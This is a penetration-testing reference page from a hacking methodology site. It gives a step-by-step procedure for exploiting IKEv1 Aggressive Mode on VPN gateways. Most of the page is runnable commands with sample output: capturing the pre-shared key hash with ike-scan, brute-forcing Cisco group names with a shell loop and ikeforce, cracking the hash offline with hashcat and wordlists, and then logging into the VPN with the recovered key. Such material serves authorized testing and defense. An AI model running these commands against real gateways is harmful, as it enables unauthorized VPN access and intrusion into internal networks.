# IKEv1 Aggressive Mode PSK Capture and Cracking

> Exploit IKEv1 aggressive mode to capture PSK handshakes via ike-scan, then crack the hash offline using ike-crack or hashcat.

- **URL:** https://hackindex.io/services/ike/exploitation/ike-aggressive-mode-psk-capture
- **Path:** IKE > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/ike/exploitation.md)
- **Published:** 2026-03-16
- **Updated:** 2026-07-14

When a gateway accepts IKEv1 Aggressive Mode connections, the PSK hash is returned in the second message of the handshake: before any encryption is established. You capture it without valid credentials by simply initiating a handshake. The hash is then taken offline and cracked with hashcat. A recovered PSK lets you authenticate to the VPN as a legitimate peer.

Confirm the gateway accepts Aggressive Mode before proceeding: [IKEv1 Aggressive Mode Enabled](https://hackindex.io/services/ike/vulnerability-discovery/ike-aggressive-mode-enabled).

## Capture the Hash with ike-scan

ike-scan captures the hash payload when Aggressive Mode succeeds. Redirect full output to a file:

```bash
sudo ike-scan --aggressive --id=$DOMAIN --pskcrack=/tmp/ike.psk $TARGET_IP
```

`--pskcrack` writes the hash in a format ready for hashcat. If the file is created with content, the capture succeeded.

Check the captured hash:

```bash
cat /tmp/ike.psk
# 10.10.10.5:500 53e1774aef2c9d79:1a4b2c3d4e5f6a7b:abc123...hash_material...:group_name
```

If `--pskcrack` does not produce output, the gateway may require a specific peer ID. Try common group names used in Cisco VPN group authentication:

```bash
for id in vpn ipsec cisco remote group1 groupvpn vpngroup; do
  sudo ike-scan --aggressive --id=$id --pskcrack=/tmp/ike_${id}.psk $TARGET_IP 2>/dev/null
  [ -s /tmp/ike_${id}.psk ] && echo "Hash captured with ID: $id" && break
done
```

## ikeforce Group Enumeration

Cisco VPN gateways using XAUTH group authentication require a valid group name as the peer ID before responding. ikeforce automates group name brute-forcing:

```bash
python2 ikeforce.py $TARGET_IP -e -w /usr/share/seclists/Miscellaneous/ike-groupnames.txt
# [+] Found valid group name: vpngroup
# [+] Hash: 10.10.10.5:500:53e1774a...:vpngroup
```

Once the group name is confirmed, capture with ike-scan using that ID:

```bash
sudo ike-scan --aggressive --id=vpngroup --pskcrack=/tmp/ike.psk $TARGET_IP
```

## Crack with hashcat

IKEv1 Aggressive Mode hashes use hashcat mode 5300 (IKE-PSK MD5) or 5400 (IKE-PSK SHA1) depending on the hash algorithm used during negotiation. The `--pskcrack` output from ike-scan is compatible with both.

Identify the hash algorithm from the transform set: SHA1 is mode 5400, MD5 is mode 5300.

Crack with a wordlist:

```bash
hashcat -m 5400 /tmp/ike.psk /usr/share/wordlists/rockyou.txt
```

With rules for common variations:

```bash
hashcat -m 5400 /tmp/ike.psk /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# 10.10.10.5:500:...:vpngroup:Cisco1234!
#
```

The recovered value after the last colon is the PSK.

## Use the Recovered PSK

A recovered PSK can be used to:

- Authenticate to the VPN gateway as a legitimate peer using a compatible VPN client (Cisco AnyConnect, native IPsec client, or strongSwan)
- Access internal network segments reachable only over VPN
- If XAUTH is in use, the PSK is one factor: username and password are still required, but this confirms the VPN infrastructure is accessible and the group credentials are known

Configure a VPN client with the recovered PSK and group name, then connect:

```bash
# strongSwan example
sudo ipsec up $CONNECTION_NAME
```

Document the finding as: unauthenticated hash capture via Aggressive Mode, PSK cracked offline, VPN peer authentication possible.

## References

- [NTA Monitor: ike-scan](https://www.nta-monitor.com/tools-resources/security-tools/ike-scan) - --pskcrack flag documentation for hash capture
- [hashcat wiki](https://hashcat.net/wiki/doku.php?id=hashcat) - Mode 5300/5400 IKE-PSK hash cracking reference
- [SpiderLabs/ikeforce](https://github.com/SpiderLabs/ikeforce) - Group name enumeration and PSK capture automation for Cisco XAUTH gateways